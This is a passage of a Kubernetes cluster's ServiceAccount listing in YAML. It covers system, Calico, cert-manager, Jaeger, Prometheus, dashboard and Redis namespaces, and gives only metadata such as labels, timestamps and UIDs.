    uid: 0bcedd7a-f761-4948-9924-b4b383bbee6d
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-10-19T16:12:26Z"
    name: calico-typha
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821083"
    uid: 2d0b249d-7bcd-4647-be4e-0428b3285975
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-10-19T16:12:26Z"
    name: csi-node-driver
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821130"
    uid: c4b690b1-a604-41ca-9313-07bc665a4960
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-10-19T16:12:25Z"
    name: default
    namespace: calico-system
    resourceVersion: "6821073"
    uid: 90b0bbd6-b39a-47c3-a7ae-65b3c83d2d4e
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-10-19T16:26:41Z"
    name: goldmane
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Goldmane
      name: default
      uid: 5994cdc7-d4c2-4413-bf3b-9967cd01464d
    resourceVersion: "6825268"
    uid: 851740c7-6d9f-467b-b6a4-736d0269c657
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-10-19T16:26:57Z"
    name: whisker
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Whisker
      name: default
      uid: 5f1effd2-9eab-4639-b80e-b5f40d365ef0
    resourceVersion: "6825373"
    uid: e17ac3b4-57a4-4bf3-95e9-806c225108f0
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:22Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager
    namespace: cert-manager
    resourceVersion: "220042"
    uid: 0daea407-c37a-4a6b-9063-907698d0090c
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:22Z"
    labels:
      app: cainjector
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cainjector
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-cainjector
    namespace: cert-manager
    resourceVersion: "220040"
    uid: 960a5004-4a50-41b9-8614-949ce3083b20
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:22Z"
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-webhook
    namespace: cert-manager
    resourceVersion: "220041"
    uid: 57cd5040-15eb-4b85-9c5a-913c2fceadca
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-22T13:18:22Z"
    name: default
    namespace: cert-manager
    resourceVersion: "220038"
    uid: cd3a7768-feb5-4320-a55e-235cf2d376f3
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:25Z"
    name: default
    namespace: default
    resourceVersion: "375"
    uid: 02539701-f869-4b83-bb93-05f6ea429872
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: nfs-subdir-external-provisioner
      meta.helm.sh/release-namespace: default
    creationTimestamp: "2025-09-26T00:42:52Z"
    labels:
      app: nfs-subdir-external-provisioner
      app.kubernetes.io/managed-by: Helm
      chart: nfs-subdir-external-provisioner-4.0.18
      heritage: Helm
      release: nfs-subdir-external-provisioner
    name: nfs-subdir-external-provisioner
    namespace: default
    resourceVersion: "977131"
    uid: bd2826f5-7086-4515-a321-e50a2baec1ee
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T20:37:12Z"
    name: default
    namespace: grafana
    resourceVersion: "78689"
    uid: 449ad34e-5ae2-4c84-a976-dfd1f6396a08
- apiVersion: v1
  automountServiceAccountToken: false
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: grafana
      meta.helm.sh/release-namespace: grafana
    creationTimestamp: "2025-09-21T20:37:13Z"
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: grafana
      app.kubernetes.io/version: 12.1.1
      helm.sh/chart: grafana-10.0.0
    name: grafana
    namespace: grafana
    resourceVersion: "78691"
    uid: e1945bb5-01b4-4f57-94f1-99a282cfe7e9
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-22T18:40:18Z"
    name: default
    namespace: harbor
    resourceVersion: "268521"
    uid: a489fa67-9d92-4a45-a603-17ff07133147
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-23T12:14:27Z"
    name: default
    namespace: hera
    resourceVersion: "435400"
    uid: 6769017f-21e4-4fa2-8679-f0dde249290c
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T19:03:17Z"
    name: default
    namespace: ingress-nginx
    resourceVersion: "64674"
    uid: 626faeef-328a-4248-ab91-a72c036baa57
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: ingress-nginx
      meta.helm.sh/release-namespace: ingress-nginx
    creationTimestamp: "2025-09-21T19:03:27Z"
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
    name: ingress-nginx
    namespace: ingress-nginx
    resourceVersion: "64742"
    uid: 08a4d258-df87-4a24-b311-0ab2f0dd2c9f
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-10-19T15:15:43Z"
    name: default
    namespace: jaeger
    resourceVersion: "6810506"
    uid: b8624a94-6c29-4a97-8a42-9da1e77ad5e2
- apiVersion: v1
  automountServiceAccountToken: false
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-agent
    namespace: jaeger
    resourceVersion: "6810510"
    uid: 63fbb7c2-7c74-442d-8988-4e80ce75ea06
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
      app.kubernetes.io/component: cassandra-schema
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-cassandra-schema
    namespace: jaeger
    resourceVersion: "6810512"
    uid: 7d63ce2d-527d-427a-81e4-d5304ff5baed
- apiVersion: v1
  automountServiceAccountToken: false
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
      app.kubernetes.io/component: collector
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-collector
    namespace: jaeger
    resourceVersion: "6810513"
    uid: f7bf0104-66db-4462-956e-6921dcbb9909
- apiVersion: v1
  automountServiceAccountToken: false
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
      app.kubernetes.io/component: query
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-query
    namespace: jaeger
    resourceVersion: "6810511"
    uid: b25220bc-7a33-4138-8f9d-b325e434c9ab
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:25Z"
    name: default
    namespace: kube-node-lease
    resourceVersion: "377"
    uid: 29ea439f-57e4-4f5b-a323-9a10e6d9869b
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:25Z"
    name: default
    namespace: kube-public
    resourceVersion: "378"
    uid: c71e02c5-7c6c-4798-82a7-48d20ca37ce8
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: attachdetach-controller
    namespace: kube-system
    resourceVersion: "293"
    uid: 4294a218-7e4a-4763-9199-76852b3c1b8b
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:22Z"
    name: bootstrap-signer
    namespace: kube-system
    resourceVersion: "329"
    uid: ed0ed555-bf6d-443b-a55c-1bd80f6f4d3f
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"v1","kind":"ServiceAccount","metadata":{"annotations":{},"name":"calico-cni-plugin","namespace":"kube-system"}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    name: calico-cni-plugin
    namespace: kube-system
    resourceVersion: "443"
    uid: 4f297851-e83c-4ac1-b6d3-5ee99c078047
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"v1","kind":"ServiceAccount","metadata":{"annotations":{},"name":"calico-kube-controllers","namespace":"kube-system"}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    name: calico-kube-controllers
    namespace: kube-system
    resourceVersion: "438"
    uid: f02365d1-c978-40f9-9e95-15bc0e476935
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"v1","kind":"ServiceAccount","metadata":{"annotations":{},"name":"calico-node","namespace":"kube-system"}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    name: calico-node
    namespace: kube-system
    resourceVersion: "441"
    uid: 1a78db12-3426-4cb8-80a2-f3e0c8b77175
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:23Z"
    name: certificate-controller
    namespace: kube-system
    resourceVersion: "333"
    uid: 5237823c-c217-4365-8653-b49efd59a4c2
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:23Z"
    name: clusterrole-aggregation-controller
    namespace: kube-system
    resourceVersion: "334"
    uid: 96d0a32f-732d-4b8c-81fe-21d4a2d28400
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:19Z"
    name: coredns
    namespace: kube-system
    resourceVersion: "269"
    uid: cac32567-c1e1-47d4-8d82-b426a6576729
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:22Z"
    name: cronjob-controller
    namespace: kube-system
    resourceVersion: "327"
    uid: c75abf3f-7a5b-405d-8108-febdd6260325
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:22Z"
    name: daemon-set-controller
    namespace: kube-system
    resourceVersion: "326"
    uid: 4424b696-9393-4fe7-82ff-8a29dd90b599
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:25Z"
    name: default
    namespace: kube-system
    resourceVersion: "379"
    uid: 8e02537c-4d98-4f66-8f83-cea38308e3e4
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: deployment-controller
    namespace: kube-system
    resourceVersion: "307"
    uid: af813da0-b119-4f1e-a137-82eafcf26b8a
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:23Z"
    name: disruption-controller
    namespace: kube-system
    resourceVersion: "332"
    uid: 3cf78225-7ff8-4224-9b1d-8696a0eaf727
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: endpoint-controller
    namespace: kube-system
    resourceVersion: "295"
    uid: 4e4cab92-e3f3-4272-ae44-5197e747f557
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:21Z"
    name: endpointslice-controller
    namespace: kube-system
    resourceVersion: "320"
    uid: 756dbaf8-d38b-439c-83b5-5c9ccc3fd641
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:22Z"
    name: endpointslicemirroring-controller
    namespace: kube-system
    resourceVersion: "330"
    uid: e600c55a-932b-428b-bbbe-8010c242a4b8
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:23Z"
    name: ephemeral-volume-controller
    namespace: kube-system
    resourceVersion: "336"
    uid: 5bcffd11-9eb1-4f88-98db-305a5c12821a
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:19Z"
    name: expand-controller
    namespace: kube-system
    resourceVersion: "291"
    uid: 3cc7beae-1615-493f-aae0-9924da9f74a4
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: generic-garbage-collector
    namespace: kube-system
    resourceVersion: "296"
    uid: fa74c8d2-fcd9-4623-8411-87ae40a52d85
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: horizontal-pod-autoscaler
    namespace: kube-system
    resourceVersion: "317"
    uid: e3ef0e99-a955-4b4b-97a1-fa45848d4c1e
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: job-controller
    namespace: kube-system
    resourceVersion: "297"
    uid: 8ba917fa-6c3f-4035-b632-72159b7122c6
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: kube-proxy
    namespace: kube-system
    resourceVersion: "300"
    uid: 0a06afae-19b0-4fb4-a22a-b0db3b016277
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: legacy-service-account-token-cleaner
    namespace: kube-system
    resourceVersion: "294"
    uid: 67467bfb-f7d6-411e-8b8d-9e752f3997db
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:21Z"
    name: namespace-controller
    namespace: kube-system
    resourceVersion: "321"
    uid: 619f5e85-4abf-439e-be01-7614d024cf20
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:21Z"
    name: node-controller
    namespace: kube-system
    resourceVersion: "318"
    uid: 7ada8792-d758-4e59-a345-6777f28d78ef
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:24Z"
    name: persistent-volume-binder
    namespace: kube-system
    resourceVersion: "340"
    uid: 970a2f6e-6995-45c0-9fd2-eadfa6ffb6f9
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:23Z"
    name: pod-garbage-collector
    namespace: kube-system
    resourceVersion: "331"
    uid: 6d164e41-06e9-4b19-8a45-a12ec1e851b2
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:23Z"
    name: pv-protection-controller
    namespace: kube-system
    resourceVersion: "335"
    uid: b91be7f2-4ca3-410e-90f1-d3009fd17ceb
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:21Z"
    name: pvc-protection-controller
    namespace: kube-system
    resourceVersion: "319"
    uid: 252ff3f1-9534-4c4f-9a6b-5d62edafd975
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:21Z"
    name: replicaset-controller
    namespace: kube-system
    resourceVersion: "322"
    uid: e2c33d85-e6a3-447d-983e-0ca534db8620
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:22Z"
    name: replication-controller
    namespace: kube-system
    resourceVersion: "325"
    uid: eaa923fb-f2d0-4580-a30a-4e9fa994d777
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: resourcequota-controller
    namespace: kube-system
    resourceVersion: "306"
    uid: 454fcae6-9a2c-467a-bb97-46e6215a8e41
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:22Z"
    name: root-ca-cert-publisher
    namespace: kube-system
    resourceVersion: "324"
    uid: c3c47d61-e726-4267-b0aa-acaf41521131
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:19Z"
    name: service-account-controller
    namespace: kube-system
    resourceVersion: "292"
    uid: fe2ee093-21a2-44a3-9bd9-a03a0445a3e7
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:24Z"
    name: service-cidrs-controller
    namespace: kube-system
    resourceVersion: "338"
    uid: b2ac38d7-a1f1-4fd5-a4c3-e291f80703ca
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:24Z"
    name: statefulset-controller
    namespace: kube-system
    resourceVersion: "341"
    uid: 3e70b7b2-c4cf-47be-adc1-41974afc443f
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:24Z"
    name: token-cleaner
    namespace: kube-system
    resourceVersion: "339"
    uid: 2d788a35-5fe7-42f2-8d16-400e89156b9b
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: ttl-after-finished-controller
    namespace: kube-system
    resourceVersion: "299"
    uid: 91feea9b-5b29-46ee-a19b-6bf8b1db2713
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: ttl-controller
    namespace: kube-system
    resourceVersion: "298"
    uid: 08811b33-6b6e-4072-bdbd-f21183bb5f8b
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: validatingadmissionpolicy-status-controller
    namespace: kube-system
    resourceVersion: "304"
    uid: 93e654ab-ebe9-40ce-b300-d2e0e4dafd8d
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"v1","kind":"ServiceAccount","metadata":{"annotations":{},"name":"admin-user","namespace":"kubernetes-dashboard"}}
    creationTimestamp: "2025-09-23T10:12:14Z"
    name: admin-user
    namespace: kubernetes-dashboard
    resourceVersion: "416535"
    uid: 76831cb0-de15-4fe7-b3cf-b8229eb1014d
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-23T09:56:13Z"
    name: default
    namespace: kubernetes-dashboard
    resourceVersion: "413070"
    uid: 431c625e-8ae8-4393-8328-c76727cfd921
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/part-of: kubernetes-dashboard
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-api
    namespace: kubernetes-dashboard
    resourceVersion: "417217"
    uid: 10ac2a82-6689-4b20-9d41-633687621c33
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kong
      app.kubernetes.io/version: "3.8"
      helm.sh/chart: kong-2.46.0
    name: kubernetes-dashboard-kong
    namespace: kubernetes-dashboard
    resourceVersion: "417214"
    uid: 3fb884e5-ca34-4ada-ab90-814b31ff6e8b
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/part-of: kubernetes-dashboard
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-metrics-scraper
    namespace: kubernetes-dashboard
    resourceVersion: "417215"
    uid: a560727b-beb8-41c3-bf5f-c68a9c66b1d1
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/part-of: kubernetes-dashboard
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-web
    namespace: kubernetes-dashboard
    resourceVersion: "417216"
    uid: b534accb-c379-4ee8-bbfb-9a6b70d58fc6
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T18:13:53Z"
    name: default
    namespace: metallb-system
    resourceVersion: "57837"
    uid: f8519016-788f-4311-a9b0-a289db5c9531
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-controller
    namespace: metallb-system
    resourceVersion: "57839"
    uid: 9edf1e57-b95d-4053-b97d-86523e2a1bf8
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/component: speaker
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-speaker
    namespace: metallb-system
    resourceVersion: "57841"
    uid: a37673cc-0ae7-4e88-98be-2eab78a6c272
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-22T18:30:49Z"
    name: default
    namespace: metrics-server
    resourceVersion: "266986"
    uid: b7b226d0-a9c6-4b35-a5fa-3ee83f11d89b
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: metrics-server
      meta.helm.sh/release-namespace: metrics-server
    creationTimestamp: "2025-09-22T18:30:49Z"
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metrics-server
      app.kubernetes.io/version: 0.8.0
      helm.sh/chart: metrics-server-3.13.0
    name: metrics-server
    namespace: metrics-server
    resourceVersion: "266987"
    uid: d73a7308-9c46-40fb-a587-3342e185f768
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T20:25:33Z"
    name: default
    namespace: prometheus
    resourceVersion: "76761"
    uid: f2d7369d-f034-44ee-8e48-73b74132bab9
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:43Z"
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: alertmanager
      app.kubernetes.io/version: v0.28.1
      helm.sh/chart: alertmanager-1.26.0
    name: prometheus-community-alertmanager
    namespace: prometheus
    resourceVersion: "1129838"
    uid: 60c6d30c-a339-45a1-ae5f-1c431015d6be
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:43Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kube-state-metrics
      app.kubernetes.io/part-of: kube-state-metrics
      app.kubernetes.io/version: 2.17.0
      helm.sh/chart: kube-state-metrics-6.3.0
    name: prometheus-community-kube-state-metrics
    namespace: prometheus
    resourceVersion: "1129835"
    uid: e93812de-a6f2-4253-bcc2-8d179967ba23
- apiVersion: v1
  automountServiceAccountToken: false
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:43Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-node-exporter
      app.kubernetes.io/part-of: prometheus-node-exporter
      app.kubernetes.io/version: 1.9.1
      helm.sh/chart: prometheus-node-exporter-4.48.0
    name: prometheus-community-prometheus-node-exporter
    namespace: prometheus
    resourceVersion: "1129837"
    uid: 0175e8a8-fff8-4798-a3f3-7e71cf63e360
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:43Z"
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-pushgateway
      app.kubernetes.io/version: v1.11.1
      helm.sh/chart: prometheus-pushgateway-3.4.1
    name: prometheus-community-prometheus-pushgateway
    namespace: prometheus
    resourceVersion: "1129836"
    uid: d5a49a77-5b69-48ca-b7e5-4abb897c7c9b
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:43Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus
      app.kubernetes.io/part-of: prometheus
      app.kubernetes.io/version: v3.6.0
      helm.sh/chart: prometheus-27.39.0
    name: prometheus-community-server
    namespace: prometheus
    resourceVersion: "1129839"
    uid: c07e5fc2-4e44-40c8-8e32-6f67d6d32234
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-22T21:37:24Z"
    name: default
    namespace: redis
    resourceVersion: "299853"
    uid: 2cf401d4-b1f1-40e0-b122-a04287172044
- apiVersion: v1
  automountServiceAccountToken: false
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      helm.sh/chart: redis-23.1.3
    name: redis-master
    namespace: redis
    resourceVersion: "6769102"
    uid: 82eb6500-11a5-407a-b678-bfd216115da9
- apiVersion: v1
  automountServiceAccountToken: false
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
